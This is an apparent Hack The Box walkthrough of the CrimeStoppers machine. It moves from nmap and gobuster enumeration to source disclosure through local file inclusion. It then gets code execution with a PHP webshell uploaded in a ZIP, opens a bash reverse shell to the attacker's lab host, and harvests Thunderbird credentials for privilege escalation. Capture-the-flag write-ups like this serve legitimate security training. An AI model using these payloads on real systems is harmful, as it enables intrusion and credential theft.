As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 3 16:00:03 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.052s latency).
Not shown: 65502 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
80/tcp open http
# Nmap done at Wed May 3 16:00:30 2023 -- 1 IP address (1 host up) scanned in 26.53 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.80 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
## Nmap 7.93 scan initiated Wed May 3 16:00:41 2023 as: nmap -sCV -p80 -Pn -n -oN targeted 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: FBIs Most Wanted: FSociety
|_http-server-header: Apache/2.4.25 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 3 16:00:49 2023 -- 1 IP address (1 host up) scanned in 7.74 seconds
The website is based on the Mr Robot TV show, and as we can see, it has the Home and Upload sections.
There is one cookie called admin set to 0.
curl -I http://10.10.10.80
HTTP/1.1 200 OK
Date: Fri, 05 May 2023 17:48:57 GMT
Server: Apache/2.4.25 (Ubuntu)
Set-Cookie: admin=0
Content-Type: text/html; charset=UTF-8
If we change it to 1, we'll see one more section called List.
There is one file called Whiterose.txt in the List section.
Which has a note saying that there is a way to get RCE with a vulnerable GET parameter. Let's keep this in mind.
Let's keep enumerating the site by doing subdirectories enumeration with gobuster.
gobuster dir -u http://10.10.10.80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php
dir enumerates directories or files.
-u the target URL.
-w path to the wordlist.
-t number of current threads, in this case 200 threads.
The /uploads directory shows an image saying to read the source code.
The Upload section allows us to send tips using a form.
There is a comment in the source code of the page saying that a file is created for each tip that is submitted.
...
<!-- #59: SQL Injection in Tip Submission - Removed database requirement by changing submit tip to create a file. -->
...
Note that if we access the home page for example, the URL is loading the home.php file because of the op=home GET parameter.
curl http://10.10.10.80/?op=home
<!DOCTYPE html>
...
Exploitation
We could try to see if the op GET parameter to a Local File Inclusion vulnerability. Instead of loading the home.php file, we could try to get its content with a base64 wrapper. Note that we don't need to add the .php extension because it might be added automatically by the server.
Get the base64 string, and decode it to see the home.php code.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
<?php
include 'common.php';
?>
<!-- Page Content -->
...
Now that we know that the op GET parameter is vulnerable to LFI, we could try to upload a malicious ZIP file using the upload.php file, and use the zip:// wrapper to get RCE. First, create a simple webshell, and compressed it to a ZIP file.
echo "<?php system($_GET['cmd']);?>" > pwn.php
zip pwn.zip pwn.php
Now we need to know how upload request works. Let's upload a tip, and see the request.
Now that we know what it takes to send an upload request, send the pwn.zip file as the tip. Make sure to add the PHPSESSID cookie and the token, which you can find in the source code of the Upload section.
If we take a look at the source code of the upload.php file, we'll see that when a new tip is created, it is stored in a folder named with the IP address of the client who send the tip.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
...
if(isset($_POST['submit']) && isset($_POST['tip'])) {
// CSRF Token to help ensure this user came from our submission form.
if (!empty($_POST['token'])) {
if (hash_equals($token, $_POST['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
// Place tips in the folder of the client IP Address.
if (!is_dir('uploads/' . $client_ip)) {
mkdir('uploads/' . $client_ip, 0755, false);
}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
header("Location: ?op=view&secretname=$secretname");
} else {
print 'Hacker Detected.';
print $token;
die();
}
}
}
...
Indeed, there is a directory named with my IP address inside the /uploads directory.
Now that we know where the ZIP file is located, use the zip:// wrapper to run commands on the server.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=whoami" | awk "/<\/nav>/,/<footer>/" | sed 's///g' | sed 's/<\/nav>//g' | tr -d "\n"
www-data
Time to get a shell. Set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.
-vverbose mode.
-nnumeric-only IP, no DNS resolution.
-p specify the port to listen on.
Then, send the reverse shell to get access to the server as www-data. Then, we'll be able to grab the user flag.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.14/4444+0>%261'" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n"
Listening on 0.0.0.0 4444
Connection received on 10.10.10.80 51360
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data
www-data@ubuntu:/var/www/html$ cat /home/dom/user.txt
75093036d910dc7c4e84de4d8b1f9312
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
There is one hidden directory called .thunderbird inside the home directory of dom.
ls -la /home/dom/
total 44
drwxr-xr-x 5 dom dom 4096 Dec 25 2017 .
drwxr-xr-x 3 root root 4096 Dec 16 2017 ..
-rw------- 1 dom dom 52 Dec 16 2017 .Xauthority
-rw------- 1 dom dom 5 Dec 22 2017 .bash_history
-rw-r--r-- 1 dom dom 220 Dec 16 2017 .bash_logout
-rw-r--r-- 1 dom dom 3771 Dec 16 2017 .bashrc
drwx------ 2 dom dom 4096 Dec 16 2017 .cache
-rw-r--r-- 1 dom dom 675 Dec 16 2017 .profile
drwx------ 2 dom dom 4096 Dec 25 2017 .ssh
-rw-r--r-- 1 dom dom 0 Dec 16 2017 .sudo_as_admin_successful
drw-r-xr-x 3 root root 4096 Dec 16 2017 .thunderbird
-r--r--r-- 1 root root 33 May 5 10:36 user.txt
Inside there are two files called logins.json and key3.db which contain encrypted credentials.
ls -la /home/dom/.thunderbird/36jinndk.default/
total 8020
...
-rw-r-xr-x 1 root root 16384 Dec 16 2017 key3.db
...
-rw-r-xr-x 1 root root 1114 Dec 16 2017 logins.json
...
Password: Gummer59
dom@ubuntu:/var/www/html$ whoami
dom
dom@ubuntu:/var/www/html$ id
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
If we search for files named with the word Sent inside the .thunderbird/36jinndk.default directory, we'll find a few files.
The Sent-1 file has a list of emails. The last one has some interesting information.
cat ./ImapMail/crimestoppers.htb/Sent-1
...
From
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <54814ded-5024-79db-3386-045cd5d205b2@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:55:24 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
Content-Language: en-US
Elliot.
We got a suspicious email from the DarkArmy claiming there is a Remote
Code Execution bug on our Webserver. I don't trust them and ran
rkhunter, it reported that there a rootkit installed called:
apache_modrootme backdoor.
According to my research, if this rootkit was on the server I should be
able to run "nc localhost 80" and then type "get root" to get a root
shell.  However, the server just errors out without providing any shell
at all. Would you mind checking if this is a false positive?
Apparently. there is a rootkit installed on the web server called apache_modrootme. By connecting to port 80 and sending the get root string, a shell as root should be spawned.
nc localhost 80
get root
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
But this doesn't happen. Maybe it is because the string that we have to enter is a different one. There is one apache2 module called mod_rootme.so.
Now, let's use radare2 to inspect the binary more in depth.
radare2 mod_rootme.so
[0x00000f70]> aaa
[0x00000f70]> afl
[0x00000f70]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Integrate dwarf function information.
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000f70]> afl
...
0x00001ac0 3 61 dbg.darkarmy
...
There is one function called darkarmy, which is doing an XOR operation between the HackTheBox string and the content in the 0x00001bf2 address.